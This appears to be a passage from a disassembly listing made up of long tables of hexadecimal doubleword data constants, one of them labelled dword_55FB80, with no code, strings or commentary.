		dd 11DC06E0h, 2C4425h, 0DD14FEE5h, 0A6371009h, 3C313C2Ch
		dd 946DAE60h, 0AA5B0003h, 2F1F71Eh, 5E0986A4h, 0E60180D8h
		dd 0DA210420h, 0B32E55D0h, 913900F0h, 3FA83C07h, 267A250Ch
		dd 5B800048h, 711DB21Dh, 402FAC43h, 7E539849h, 0C8414A82h
		dd 2513C560h, 6C08B397h, 5B3C8154h, 874FADC1h, 9DE60A11h
		dd 0F3E7EFC0h, 0F97084h, 0A8BDF0D0h, 0ADC5A5F5h, 0D442A024h
		dd 0E8C87412h, 257D889Fh, 0ED803C96h, 8E0838F6h, 0FDC80037h
		dd 137BD97Ah, 0AF033366h, 1728142Ch, 1DA4A031h,	0E1FF1791h
		dd 413C1943h, 242DF2h, 5E3A7A9h, 0B48E9CBh, 319F4A04h
		dd 55172082h, 40A608F8h, 57D79900h, 0D9B9D5F3h,	0AC8900D6h
		dd 0CC7B4F59h, 0CB779B2Ch, 0E937D08h, 3B108016h, 0B2071CC2h
		dd 0E3364100h, 0CC4858Ch, 928947Dh, 0C8647743h,	2E3110E1h
		dd 30440FB4h, 6BA9AEFCh, 60AC50C9h, 0AA588520h,	0CC1D694h
		dd 1C2D2B7Ch, 56820680h, 1F0B32CFh, 58EB263h, 380325A0h
		dd 0C7C860E2h, 0B1CAF330h, 8D9401D7h, 40199158h, 80D87CAEh
		dd 7CEC2C44h, 0FAD0543h, 0C23E9F20h, 7104ACE8h,	897D3CA2h
		dd 12409150h, 72C5CF00h, 0B9FF8CEh, 2C43E300h, 0BF56325Ah
		dd 0C8915222h, 679617h,	0F56EA37Ch, 0EE0D9BA8h,	2144AB0Ah
		dd 618341F9h, 3BD37109h, 8FA121C8h, 5C071601h, 0BEB72945h
		dd 9E0DC3ECh, 142C9138h, 25508FB8h, 0E746464h, 0D1DBC1ADh
		dd 93656240h, 78001F27h, 564F759Dh, 0F308F2F7h,	6D099823h
		dd 0C0649ECCh, 0DA1544h, 96C32B53h, 5E5AC04Ch, 0D05F012Fh
		dd 0F90FEC1Ah, 1689B03Ch, 2C4FC031h, 7FB9802Ch,	0A921D7h
		dd 0FA0BB1F2h, 0EEBAD61h, 0CE64B600h, 4301678Bh, 9413488Ch
		dd 3ABEA8C8h, 69F2448Dh, 0ACC6196Ch, 8F52D067h,	4F93130h
		dd 0A49500BBh, 632D45A5h, 0EBE24E60h, 0C50F5BFCh, 0ABC873D8h
		dd 14B801A0h, 0CC335985h, 62001122h, 1EF7047Fh,	0E15D9Fh
		dd 0D453DB17h, 4F4EF9CDh, 6B0BB8B0h, 0E408B8F7h, 85660060h
		dd 22AB9307h, 40FE9E59h, 13F13100h, 296EEA0Fh, 3C022E92h
		dd 6FA660E4h, 657E73B4h, 0DB719101h, 5CD4CA02h,	512C90F3h
		dd 0F591237h, 0AD3C2190h, 0AAB18F97h, 176F2040h, 0EB9D331Ah
		dd 413424h, 546086AEh, 0A983148Eh, 264400BCh, 0F189E243h
		dd 68D08C84h, 0F01E3D02h, 414D97BCh, 2E0CAB08h,	0FFE4B789h
		dd 8E5D1D29h, 811AF915h, 0F818295Bh, 0C200773Bh, 8E34A9F2h
		dd 392144C4h, 0C88054F9h, 6876D305h, 0AE023C0Eh, 821E2BE3h
		dd 72F2E00Bh, 3FE2E432h, 0B83DFFA0h, 0DA0E2CD3h, 9B401C67h
		dd 43FDEB13h, 9244FB00h, 0BA260F48h, 62A624A8h,	8C140265h
		dd 24DB0DECh, 0D6235400h, 0CA5864h, 0A58E6CBBh,	0AF894190h
		dd 0CC39F289h, 8AD85D0Fh, 9472B3E0h, 9779BF3Ch,	0B1FFDE00h
		dd 37D3498Fh, 0A765188Dh, 0EA471CEh, 8E3C80h, 0B6365D6Bh
		dd 0F310543h, 9340AC5Ch, 7ECEB830h, 6E3F00FAh, 4693233Dh
		dd 0ED00D62Fh, 5FF7BAC6h, 87DF2F6h, 2848494Eh, 19A70F09h
		dd 1208C5B8h, 80151989h, 6C622F92h, 72348D07h, 1A60998Ch
		dd 80BE41h, 0A8CD5140h,	0EAC25C4h, 5A80D49Bh, 5B8D7723h
		dd 96F10E02h, 87F27F8Eh, 0BC26A090h, 6617229Bh,	0A090B5B8h
		dd 70B9E7B7h, 0C4590060h, 425B52FDh, 69294DE3h,	8F80C055h
		dd 832B13ADh, 0A7C60107h, 66D08734h, 80B82858h,	0FD7A71A8h
		dd 5B8034Eh, 0BAD47E08h, 23508001h, 45281767h, 91F68850h
		dd 5A38B048h, 0CFE0701Bh, 0EC7B89B3h, 0E8F3FE00h, 31C0F919h
		dd 72013F48h, 0ED2C27FEh, 0E4C16442h, 0A4602A0Dh, 0B8454A84h
		dd 49CE44DCh, 18C92460h, 993981h, 60C2B96Fh, 56552F3Ah
		dd 25DE4938h, 48C8C68Ch, 484C4DB8h, 90A0EF04h, 8F5CCC52h
		dd 0DBBBF000h, 0E24D8B5Eh, 0F5870085h, 0EB7862D9h, 38273F49h
		dd 84451h, 12A26933h, 9DFC2DEAh, 62610F4Ch, 521C1769h
		dd 0A293F8DCh, 1288DB40h, 0F62038A9h, 4C8D152Eh, 2025596Ah
		dd 0A3743A50h, 0F72C00DCh, 69DFBCFh, 4500A7AEh,	3224A858h
		dd 2EC5ADABh, 254C1C91h, 0E0984C02h, 0C71DA12Eh, 8EF125D1h
		dd 8921F033h, 3780A290h, 138F40CAh, 34220B9h, 0BA1FC015h
		dd 2E477FACh, 2F066F7h,	950F2D14h, 30C36CA4h, 91B6EB8Eh
		dd 24C0040h, 117CD1DEh,	0F9AD904h, 50A2FD94h, 5C001022h
		dd 5A6F50ADh, 0BBC97F5h, 1135D954h, 6E01B980h, 2377FB2Dh
		dd 5EEF812h, 330020E2h,	0E8BF6918h, 3F0F3486h, 67589E56h
		dd 31A05F6Fh, 0F4606AFFh
		dd 442C9042h, 8B005020h, 0FAB9862h, 0A49E94AEh,	3A1945E8h
		dd 0C7BEF820h, 6C2000E2h, 663783FAh, 67005D4Fh,	629EC692h
		dd 94A98815h, 2AC24058h, 58B03B17h, 52232406h, 21ABAAh
		dd 46D56B2h, 9E30A8DBh,	72D43D00h, 91243FC8h, 0B031544Bh
		dd 0CC109528h, 270F0733h, 98FFC96Eh, 0A4409D38h, 0FB0C4484h
		dd 2FCE7502h, 0FAAA3085h, 4F818h, 9589A91Ah, 0E5E91E0Ah
		dd 11ECE6A0h, 0C06F0F24h, 5CE98F64h, 2E48A709h,	0EB50EC83h
		dd 85387D0h, 6F07C496h,	0BC433802h, 1700E7CFh, 919715DEh
		dd 90AD8564h, 0B0EC374Fh, 54078487h, 2DECB103h,	0D0798BF3h
		dd 13AFAA94h, 0E2C1FE78h, 857000C4h, 9BC9C240h,	0DCF5006Ch
		dd 0E77C8D73h, 449887A8h, 8E50A095h, 1CBEB67h, 0FE2251A3h
		dd 150A0EADh, 0E6963100h, 13A0DC45h, 90C217C4h,	0B8D7AEF0h
		dd 5FA33709h, 9E0C9822h, 0A102003Eh, 0BE55B77Ah, 0AD2EB0E8h
		dd 0D00676Ah, 0F36C4A74h, 910F2669h, 0C8B06E00h, 944E42AAh
		dd 0F7808C79h, 0D3CB3970h, 0BB2F006Ah, 4324109Bh, 4A0291A0h
		dd 0BE1338C0h, 0B0ECDAh, 0E6508CFh, 0B865694h, 0EB177101h
		dd 5AF4C0A4h, 0C209D07Dh, 906487D0h, 0C1193C00h, 62394C8Eh
		dd 0B8807DAh, 0B107C71Fh, 0F8F8C549h, 284808F3h, 0D188C9D8h
		dd 0FD5A43D0h, 307D0A81h, 0D4991278h, 0C029A49Bh, 3B7AAh
		dd 31366FCAh, 7909EAA3h, 0AA98500h, 9D2E55D3h, 4714963Eh
		dd 7EC000B6h, 56000868h, 3B5128A4h, 5A146F13h, 18028C3h
		dd 1D590200h, 0AFADC518h, 19A2097Eh, 0C0DB2CCCh, 0F0B2A7h
		dd 15D63AA4h, 81709660h, 0B7F48D36h, 0B4502020h, 883664Ah
		dd 3D18A340h, 62D8749h,	0F0A47C10h, 6371D900h, 5CB7AB29h
		dd 393F12A6h, 8E7C4088h, 86BEA3E2h, 3898A84Bh, 172F4094h
		dd 281F4Eh, 0CCAC24F9h,	0AF2600FBh, 51CACDD3h, 0D7F1FB01h
		dd 3DE37EB0h, 8A14DE85h, 0F0A746h, 97D45AD0h, 0B1ADE1h
		dd 181F374Dh, 0DBA353BFh, 0AC818709h, 0E104E1CEh, 10219113h
		dd 801025E4h, 9E072B38h, 0DDD04525h, 0DBB2D933h, 0EF489863h
		dd 125C2513h, 0FBF5F881h, 8292A4Dh, 3EE20C20h, 4109FF30h
		dd 1480AD0Ah, 17979E65h, 0C0342D48h, 22B69BA8h,	0ADEF2AABh
		dd 0F7C022DCh, 24408B0h, 3CDE3DA4h, 0C05022DFh,	40187C12h
		dd 8D40A1E2h, 0F231ACA4h, 883F41FFh, 16A285F4h,	0ED2513h
		dd 0FC0B0C9Ah, 0BD13657Bh, 3C881DB2h, 247DFD87h, 60301C26h
		dd 8B41A50Ah, 0C3042F7h, 8F5A8420h, 0BAB60046h,	0B3B91461h
		dd 0A025876Bh, 4318C066h, 9DBCB288h, 67624832h,	65615C56h
		dd 6C30A70Fh, 4C2B41F1h, 0DE037E40h, 0EB91B05Eh, 0CDA3A9C7h
		dd 183E8CF0h, 0B0085A6Dh, 0AE880C29h, 0DC251486h, 0BC20B411h
		dd 5C8A9DE2h, 0E47258F8h, 0F5D05B05h, 0ACF25E1Dh, 0E03B4A2Dh
		dd 2E8244E0h, 7A1DD3E6h, 0A5808DA9h, 1B9F8B89h,	0C89B0543h
		dd 0F32F3829h, 0CC3329B4h, 3B830140h, 0C2A500CBh, 0ED7A744Bh
		dd 0BFB89973h, 0FE593409h, 71D0E457h, 9E900317h, 7A8132FCh
		dd 105D24C0h, 50E34900h, 1C0D6AE4h, 26F83F2Bh, 9B91C600h
		dd 6AC0F3Fh, 58709C4Eh,	0C220E8h, 8158CF4h, 5BAD4BDDh
		dd 99F3A200h, 0ED066963h, 84315057h, 8A4008B1h,	159103DBh
		dd 0F801EC00h, 8EA0D064h, 0FB9F100h, 172F4BBBh,	61E21210h
		dd 869402BCh, 5C40B665h, 14950D27h, 398847ACh, 0AB0F8462h
		dd 0A4019EEEh, 20B3701Eh, 0A091D60Ch, 28D393A0h, 0BC819095h
		dd 0AE032856h, 714C88CDh, 0B919290Fh, 216EA09Eh, 9A2824h
		dd 0DB112AC6h, 4E312B78h, 0A010886Fh, 201EE57Fh, 5C25488Eh
		dd 70B62E22h, 754C2607h, 0A7868C31h, 3096D06Ch,	0CF47C690h
		dd 7CD5DE0Ah, 5800C9DFh, 9B947505h, 11185FF9h, 291C18B8h
		dd 0E112CE4Bh, 0EF317D00h, 0B3261D65h, 6D02C053h, 4666AFA8h
		dd 35420754h, 0B5950587h, 2680F492h, 0B0489781h, 2F034277h
		dd 38981489h, 0E8B8B65Ch, 5B01C1BEh, 0AC5552F3h, 1ADBFC6Ah
		dd 0D45D9C2Eh, 6621E560h, 0C5194A4Ah, 0BF688CACh, 0D12E9400h
		dd 0D8AD1204h, 3E33001Fh, 0DD34DAA4h, 0C0C0CB59h, 6014AE6Eh
		dd 5840BE9Fh, 320C53A8h, 283FE67Ah, 439E4492h, 2245E716h
		dd 86CA581Dh, 7A08F85Eh, 0C2173891h, 3CBC0A2Dh,	911F8h
		dd 0BB756845h, 0E3C3A1h, 76D350C9h, 804347EFh, 891012BDh
		dd 491839A9h, 92015C7Dh, 0C8D571B8h, 884FC05Bh,	621BE402h
		dd 798E1559h, 848A1068h, 74B2A5FEh, 9C3F613h, 0C5B24F8h
		dd 0D2191F80h, 8D81AFh,	0E68811EBh, 0F0E47FD0h,	2242F0C0h
		dd 0B87AD64h, 97FA1BDCh, 1922B8ECh, 0A7D12D0Ah,	452AB810h
		dd 3F24BF00h, 43726D17h, 12CC0B18h, 0B0ECCD5Bh,	194449E0h
		dd 0B4B16ADh, 31AE0052h, 0D0F6A88Bh, 12007D75h,	11287238h
		dd 55E537Ch, 0A0FE2588h, 2BB0CCD7h, 0A6B50403h,	0F01FFF79h
		dd 8A9D02h, 0B6663A70h,	0A9A3B220h, 0C8C7935Bh,	0B852A6E1h
		dd 70609BC1h, 66C78805h, 17DFAD05h, 9441EB2Ah, 4FE691F5h
		dd 6424006Fh, 4285155Eh, 0A122BCA4h, 0C8B85E2Dh, 90951700h
		dd 275EFF7Ch, 9CC17E90h, 695070B7h, 0B80986EEh,	21758F40h
		dd 248CFF40h, 0DC13EDD3h, 318CC8h, 93C58FD4h, 0CB86C0AFh
		dd 1A65000h, 0A3B0747Fh, 55840570h, 0D0E0A98Bh,	8564FCF0h
		dd 3888BC4Fh, 0C24000CEh, 0D90CF49h, 0A63BECDFh, 0F4D8BAEh
		dd 902051AAh, 21378186h, 8CDD5E31h, 0CC4A3033h,	1512A400h
		dd 14C8B7F2h, 0A9E0B3h,	0BEA12DE2h, 9B687CEBh, 95F8F509h
		dd 874CC80Eh, 0E3461FD7h, 0EDACDDC2h, 291BE410h, 2692DD03h
		dd 0F7D24155h, 823C4859h, 4D18038Bh, 651C9BDFh,	0A4D8E690h
		dd 3EB84500h, 3C08C485h, 7AF03D8Dh, 0C40BF0E9h,	18FD1C18h
		dd 3E253115h, 40E305B8h, 9CADF5EDh, 0B41BFF3Eh,	67C83106h
		dd 0F83A3B86h, 0E7A200D5h, 0FF841B70h, 530C0B3Fh, 4D18769h
		dd 15393C01h, 6CE871E7h, 31655ACEh, 2B9EE648h, 0A443AC04h
		dd 54F2B8C8h, 1C48813h,	0C31E9E7Fh, 0D36AFA34h,	0DAE030AAh
		dd 0AA5376D0h, 0F3C0BECh, 0DAA8C8A9h, 87F616ADh, 9679098Dh
		dd 1600CC71h, 0B6911837h, 0BF89C019h, 0D5FECE0Fh, 51AB8E00h
		dd 0ED7C6209h, 4383FBDh, 4D2D1E81h, 0E2FF8B3Dh,	0E1E7F040h
		dd 68C004B6h, 0DEB523h,	97DA5460h, 47BE24D2h, 1C643502h
		dd 4668C7ECh, 0B0909F7Ch, 0CC501317h, 0B8987890h, 38476345h
		dd 492258A0h, 0A9A9C018h, 0ACB9990Ah, 8C3C1E7Bh, 802CF78h
		dd 22AA2196h, 0F5200DC0h, 906419A9h, 0C18C22C0h, 172F64A1h
		dd 0EC988DC5h, 0E8DA3814h, 11EEE30Ah, 0B3890818h, 66A1E280h
		dd 4A010F8Bh, 82844049h, 9A605F0Dh, 0D7AD0E1Ah,	0EC406681h
		dd 50F1D69h, 81BF0030h,	72960EB8h, 78A5CB5Ch, 0A74DB371h
		dd 0C35C4810h, 0E05CFBF1h, 7D483AAh, 977FB536h,	61B3E00Fh
		dd 89D3556Ah, 0F315A409h, 34581ECh, 6079B281h, 1E0BD731h
		dd 0E4D625B5h, 7178B688h, 2C8BE0F4h, 9F4490A6h,	81A32650h
		dd 64514B94h, 0ED80B89Dh, 91C56106h, 9BE9020Ah,	887BAA8Bh
		dd 1009B441h, 0A05CCFB6h, 5E26FECBh, 1B982087h,	810C675Eh
		dd 590965C6h, 0AE0F161Ch, 0ADA449EFh, 881AC90h,	0AAF41800h
		dd 391A84C6h, 0ECB90BBFh, 0E871C89Ch, 0A78C1C00h, 0E71AC6Bh
		dd 877368D1h, 270BDAC9h, 6CD4A4C2h, 0C2BBB640h,	0F1FA00E6h
		dd 0DD6CA4ABh, 83096F51h, 189F2BF3h, 5FC9E25Ch,	49E8D83Dh
		dd 741D44h, 0FD8148C8h
		dd 0BD8486DBh, 828DAC00h, 0A1AF6E4Eh, 501397ADh, 3A9E1F0h
		dd 0D9014BE2h, 3BAA4043h, 0A5F91216h, 1E3C9C0h,	0E98D86A8h
		dd 0D18EFF05h, 64732A21h, 0E202B4C6h, 44891608h, 7F09E064h
		dd 7052B55h, 73036A03h,	0F39D862h, 0D5A63A59h, 4DDB0183h
		dd 800291Ah, 5C2BE745h,	1153DC5h, 0F3B84991h, 804E1D06h
		dd 8F55A21h, 69EEACh, 0CCD09A19h, 9E2F6206h, 738D5B0Fh
		dd 0B060785Eh, 4C454057h, 7C006CFEh, 0C9648526h, 1841C2D6h
		dd 813874CCh, 0A800C6E2h, 0FA7696C0h, 0DD44Ch, 0A34308EDh
		dd 272CCD4Bh, 3FCFA618h, 47A531h, 7A4F0E52h, 9CA49538h
		dd 0DF73BB01h, 4AE7D51Ch, 5EFF670h, 4ED3E2BDh, 2A7003BCh
		dd 99034B5Ah, 0FA4A5EDh, 0B6C4A370h, 36F820h, 0D4E9EE4Eh
		dd 0FB852CBCh, 0A07FA79h, 0B07ACFFDh, 3C052181h, 49BFC1D5h
		dd 612FBD98h, 49CED1C4h, 0F17F0009h, 0C874F7Ah,	32744669h
		dd 1A00F7C1h, 9AB79B1Fh, 155CDD4h, 4811B652h, 0F4BE5FAAh
		dd 0D79CAF1h, 51A9C730h, 44355Ch, 0D059B31Bh, 53ADEE67h
		dd 38BEC407h, 0F3F12D66h, 0BC4D1CFEh, 0F88199CBh, 9F8160h
		dd 90DE1EFh, 0BCBE4E58h, 5188D854h, 0BBF05545h,	21C9C023h
		dd 0B77F4A38h, 84CA8302h, 83F1A61Fh, 2C281A60h,	27D29h
		dd 576C2DD1h, 21023AC6h, 43C4C7E8h, 0C5B4914Ch,	2E6390E0h
		dd 1D94D2Fh, 0BA4F2D68h, 4C3C4244h, 1172D099h, 71803E74h
		dd 0EB157677h, 25382D5Bh, 9E5701C3h, 0D3A5D447h, 46B09051h
		dd 0A2923981h, 306C8920h, 4F00BBB7h, 0ADAB40Dh,	0C0F89E37h
		dd 13CC3B99h, 440C83D3h, 49ABC4F0h, 6A43008Ah, 8E540694h
		dd 0F6000F92h, 5DABE942h, 77B27BDh, 503CCC17h, 4F2A3786h
		dd 0BE84A0F4h, 0A8C44610h, 296F0051h, 0EB884897h, 9500E3C3h
		dd 0FCBED2F1h, 0C3DE518Ah, 0AAC43848h, 1EE03100h, 80975987h
		dd 0EFCB8FAh, 9F588F7Eh, 5C14463h, 803C1DE9h, 657FBD69h
		dd 0C0A7C4A4h, 53179441h, 2F006B03h, 60A2461Ch,	0EC21DCE9h
		dd 0C3FB09Fh, 9680A507h, 0C86FA631h, 860903C1h,	0E085DC91h
		dd 0BCC40180h, 0BD491418h, 568CD01Eh, 980C9E40h, 19271A4Bh
		dd 1CC100DDh, 0D46FA305h, 0A67429FFh, 240D2CA1h, 20671AB4h
		dd 30E0D531h, 1483B423h, 9C17B64Eh, 0DD80A988h,	9B18E196h
		dd 900E00FAh, 0E2893E83h, 41018257h, 0C5ECB3A8h, 9840D1C9h
		dd 1FCC314Dh, 485F57Ah,	884F2AA5h, 0B97F4E84h, 10D330A1h
		dd 282F4EBh, 0D28F2183h, 12406BD8h, 5C914E2Ah, 9AF46F28h
		dd 0C9417437h, 232DBEF0h, 3BD000A9h, 3F056522h,	0A730D446h
		dd 112559DAh, 84A600A5h, 9B9C9EEDh, 4700C903h, 0F4E60E58h
		dd 2880CA39h, 3850B1B8h, 0A403C29Eh, 26131838h,	312160C7h
		dd 94032A05h, 0C9A59A3Fh, 0F56103D8h, 57261ACFh, 0CEC43ED8h
		dd 0FA2F19C0h, 8630D6Ah, 0D9A637BEh, 33748086h,	0FC01DC1h
		dd 0F97240E0h, 982A11ACh, 0A4413803h, 887D433Ah, 1EF2762Dh
		dd 0C716F74Ah, 0F9262A3Eh, 0CAB8D411h, 0A6C423h, 327F1461h
		dd 0D94ACAE3h, 0C6B2CF00h, 0E6AC25E4h, 3B641CD3h, 88FD34Eh
		dd 9F8240E0h, 82E5D6FAh, 214C52D4h, 847AC344h, 0CCC2C168h
		dd 780AB48h, 0AD83FF15h, 9050006Bh, 3B82D669h, 0EA0684F2h
		dd 0A340FC12h, 36743066h, 0DAB0CE69h, 0B8918F1Fh, 7CF61604h
		dd 2E80A9C0h, 38F80096h, 0C21B5821h, 43003EEBh,	76CDFB9Fh
		dd 0FDBAA5h, 97F10A54h,	0D0171C61h, 48119899h, 0F237ED00h
		dd 413BEC96h, 0E945A490h, 4724D888h, 19C04E8Dh,	0D422C9E1h
		dd 0B2B81700h, 67DFAE37h, 0F4D58500h, 1E8F8D70h, 562D0054h
		dd 523CEB1Dh, 0BCA41A46h, 2BD11B01h, 0BC02788Ah, 0E0566160h
		dd 8DCD1671h, 31B30E2Ah, 31E51D86h, 0A8B32126h,	1C418C49h
		dd 235205C5h, 8F91159h,	9F924DC0h, 0B28FEC0Fh, 758E6003h
		dd 0A2B9003Ah, 32B89CF3h, 0D602C3DFh, 83DDD9B3h, 0AF84C0E7h
		dd 97BA2607h, 964100F4h, 5845FD64h, 94180309h, 0A4600080h
		dd 4837600Dh, 0EDC34C81h, 0A90E151Dh, 0C0630831h, 0EC558B6Ch
		dd 0F0A800B6h, 40A160FCh, 0B800E5D0h, 3F0EEB63h, 0A43CE6C7h
		dd 67A678E0h, 719FA943h, 0BD37748Bh, 0EB750711h, 0CEB05836h
		dd 9CC246h, 0A109E803h,	3007ECE7h, 0C018D348h, 932EC74Bh
		dd 78F80087h, 159F5B66h, 7F0391F7h, 9C37B696h, 0A6C116A4h
		dd 0D45021F2h, 9D0229Eh, 243D4CB3h, 3CC81D10h, 7BE13897h
		dd 6E1AE700h, 8B61464Fh, 13B7F700h, 7D8187C8h, 26A51264h
		dd 85800C9Bh, 25482A39h, 0D61DC290h, 8C4EDAh, 2BF97BE3h
		dd 5659BED0h, 0BA58A004h, 98805163h, 72A63E1Ch,	8C0A002h
		dd 4ECE0A74h, 112472C3h, 0AC2F009Ch, 5898CA1Ah,	643A05CBh
		dd 0C37F0EE7h, 1BB0C35Fh, 84A0E57Ch, 0B9080888h, 840FE5Ah
		dd 0A84DFC9h, 0A0CC292Ah, 783A48C3h, 9D21D44Ch,	0B8273843h
		dd 3089C12Ch, 3B21E7C4h, 0B77F70F3h, 192C0549h,	4A58A47Eh
		dd 5D288014h, 41450438h, 4B27B841h, 0C41AF310h,	7607D4A4h
		dd 0E35D8D60h, 71B09B87h, 10DC6BBh, 3C5B7A39h, 0E7B13E31h
		dd 827274C1h, 0CFA33771h, 64B0094Dh, 1726810Eh,	4F088C5Ch
		dd 15C042B1h, 44B02122h, 9A2F00B8h, 6E3F46B2h, 9504337Ah
		dd 1A5247EEh, 0FA48B486h, 0D74C102Ah, 20742543h, 102135C8h
		dd 1D72000Eh, 34F1B793h, 0FD01FC8Fh, 0FFF27CDCh, 0E7D08025h
		dd 43B002Dh, 97B9CE84h,	8F54C4A5h, 14A283C0h, 58003CE4h
		dd 0C6DDC595h, 0F4C3543h, 0EE833EB9h, 167FA361h, 9E53C006h
		dd 90B0AC90h, 8F788438h, 46B0A20Ch, 493575h, 7F02CA49h
		dd 0E247CB5h, 0D9D12D00h, 0CC06110Bh, 0B9C7F226h, 0E1BA0080h
		dd 0A01CA1C8h, 0D000D5E6h, 0B286245Ch, 16B6184Ah, 161DECE2h
		dd 0AC8010C1h, 0ED829C48h, 34628EBBh, 0DCE6A84Ah, 480FA605h
		dd 0BC402D1Ah, 43419DCBh, 4ED40047h, 0D1E4940h,	0F73AA6D9h
		dd 0F6768F70h, 78A0C654h, 4C9899h, 9B38B54Ch, 49DFA60Ch
		dd 61D628A8h, 0EA6CDC00h, 3BF2ACD7h, 964B1EE4h,	0D45DC286h
		dd 0A0E6B7A6h, 911A2D44h, 0F8803E04h, 9C411712h, 681687A3h
		dd 79007731h, 0C1FEC50Eh, 0C6AC058Bh, 4059DC1Eh, 6368F91Ch
		dd 0E2030CD2h, 88E9CDE5h, 4E1E9176h, 97C9E0E7h,	0D9AD68C5h
		dd 0E6758058h, 87812A35h, 0C3964709h, 86F407BEh, 13C286DEh
		dd 40749429h, 8504E36Eh, 80935339h, 7CD00BF3h, 0CA2E21h
		dd 0E73B201Bh, 30AE6AC5h, 0F53C0802h, 20DB1D47h, 408652B9h
		dd 7B7128A8h, 0E2604B00h, 6C2C0570h, 0F6B81204h, 0A6544286h
		dd 949130CDh, 4A5E102Ah, 0EB21016Dh, 1DDF2C90h,	42AFF4FFh
		dd 0D846D204h, 24C0CFDAh, 9C74CDC6h, 49448000h,	98E4F8AAh
		dd 0BB4AD601h, 3F5BCB68h, 3380C02Ch, 30DBA2FFh,	491DB900h
		dd 3187CAE4h, 0BE4E19DAh, 23B4811Ah, 972D00D8h,	0A8A299C4h
		dd 0EFC80936h, 0F484DF5Fh, 0F48C253Ch, 4CEC7A3Bh, 284B8054h
		dd 2500E3A4h, 0AEFDC0E6h, 13A70E7Bh, 8424FF4h, 0A8AC43E8h
		dd 0A7881510h, 0D9ABAE80h, 0A6E147h, 0CEF6C10Bh, 6F5CB3D4h
		dd 50F41526h, 0A7068C24h, 793BC6h, 0B65E9CA5h, 0CDB7D7EFh
		dd 90881E26h, 5F6014CAh, 0F3D3E0h, 20845748h, 407F9A0h
		dd 40726E26h, 14C71560h, 610800F3h, 8DD4D5B5h, 0F90F95CCh
		dd 93A1B1BDh, 0E874940Ah, 0ECC6CE40h, 418F0058h, 170FA29Dh
		dd 1000C8F6h, 0A405A668h, 39A0FCh, 3B4221A5h, 0E60497D8h
		dd 9162C50Fh, 6A648FA3h
dword_55FB80	dd 0D240B475h, 395A7h, 8F20F4BDh, 0E492FA37h, 3852BB04h
		dd 0E092340Bh, 98405AC0h, 0F212E900h, 0EDDC1540h, 0F0A630C5h
		dd 84A3D48Ch, 18F23800h, 8095BBDh, 90E8B321h, 82318F9Ch
		dd 523B3F6Fh, 5E692CE8h, 10426730h, 0DDE7ADD6h,	360B64F4h
		dd 186E2C77h, 0E265F474h, 81D13F9h, 44A408D6h, 0B29CEB80h
		dd 1315857Fh, 0C8C54ED1h, 0C68C4F54h, 886C36A0h, 0C8CACCA1h
		dd 42F6A25Eh, 19860418h, 8B1DC040h, 34CB3028h, 503DF7h
		dd 0BB3E6196h, 0BC85ADh, 0F9D9EBDCh, 99048FC7h,	902EA509h
		dd 31C44478h, 5291DA37h, 0C8020955h, 5EA06161h,	0B03FA441h
		dd 6831C875h, 782E0062h, 84D01098h, 0A54B42F0h,	0A474E0AEh
		dd 38C119C1h, 3068FC1Ah, 63F49701h, 0CBA707DCh,	0F10DD017h
		dd 11CE70B0h, 2D3E2016h, 1355B30h, 283940C0h, 38C77562h
		dd 0A80A2E58h, 421BBE88h, 0ED23485Ah, 0EFF6880Ch, 3C225CBBh
		dd 562D7302h, 4471A57Ah, 7FCA7C00h, 0A0F1A610h,	49C40A44h
		dd 811EC432h, 84BDD4D4h, 6FA80C2Eh, 87DEADAEh, 0D049EEBCh
		dd 0E5686F51h, 0DB172C05h, 4A80F431h, 187E38D3h, 8802D91h
		dd 7160B029h, 8527DF69h, 0BA8C00D0h, 986C4D05h,	0E32C4E6Dh
		dd 0B60E04E4h, 2F91890Dh, 63610914h, 10D1F244h,	6A0A5847h
		dd 9CB36ED8h, 0FC67B940h, 1FCAF0B1h, 81F24C95h,	0BBE6155Dh
		dd 0A488425Ch, 7C81384Ah, 70492331h, 977674B8h,	1764C08Ah
		dd 78FA739Eh, 0A30946Dh, 60D0BDA4h, 8A97D2BCh, 0F2E63200h
		dd 71FB8262h, 1261787Eh, 446C03Ch, 54A0DC8h, 0B033F3A6h
		dd 375012BAh, 9718D29Eh, 2425E061h, 11E9ED4Ch, 0B2147350h
		dd 0C00902D4h, 0E35ACC86h, 0A89050D8h, 1C4444BBh, 9A9F449Eh
		dd 8F035613h, 90CD6F58h, 0CC045BE6h, 75595A30h,	1CF93944h
		dd 0E44CD7Ch, 0BAE45262h, 30598134h, 0F69043DFh, 0D40E2926h
		dd 1A4931E4h, 34500868h, 731F0C00h, 0EDCDD957h,	3C7901ABh
		dd 36F3F126h, 0F93BEBF4h, 9FEEBE3Bh, 0AD0AD28Ah, 0E7090CCEh
		dd 3070B47h, 26995BA0h,	7582170h, 0C38DAB0Dh, 19EB0EA4h
		dd 0E880DB82h, 0FE5A3F6Bh, 14203424h, 801C5E08h, 0C8AE939Ch
		dd 3719B59Fh, 27293C0Ah, 0C4497070h, 8CA2D429h,	2D8CCCE8h
		dd 0E8A07718h, 4933AE89h, 281EFF03h, 8035B40Ah,	4CE2B84Bh
		dd 112154CFh, 80B4B014h, 92B56EA4h, 0C1083E50h,	0C91ABD80h
		dd 9AE825CFh, 0F588FB16h, 1C999488h, 16C73A4Ah,	77E10726h
		dd 0F0F810CFh, 0B60BCBE6h, 0AEA522FCh, 48C98994h, 0B53648h
		dd 1E96ACCCh, 0A1B333BAh, 0BCCE520Ah, 0B11383E5h, 0A07ABC20h
		dd 503712B0h, 67809EBh,	53230C84h, 0F1BF400Eh, 3DC7F302h
		dd 8CE83C95h, 18355B21h, 0A8C21084h, 34D4847Ch,	0F3ED0CCh
		dd 0EF02F082h, 0B8802D88h, 6ABB2C09h, 0AC0500DEh, 7BF91322h
		dd 485C0FA9h, 3A42140h,	4E2B4AE7h, 942FBA8Ah, 0C7604838h
		dd 6FB00CCFh, 5B6BFAh, 0E8AC76ADh, 368BA6B7h, 522DEA01h
		dd 5CB025E7h, 0BE3BF980h, 11EF8679h, 3469CA00h,	3E786CDAh
		dd 68D92543h, 644E1023h, 14CC3188h, 0EFBBF200h,	4AAB3AC3h
		dd 0C0A07BD4h, 0C8C8081h, 672EF2B9h, 0E86F8411h, 8CBD4571h
		dd 94845BE4h, 0AC56405Ch, 4007525h, 0D518DE63h,	0EA6113E1h
		dd 0C24F0485h, 9043E65Ah, 4D4497B8h, 0A022234Eh, 0F3ED2049h
		dd 4E1838D4h, 0BD211F54h, 0BD2068Bh, 4060C1C4h,	9C9448h
		dd 805DAF9Ch, 3049FE17h, 473125BCh, 8D124059h, 4888903Ch
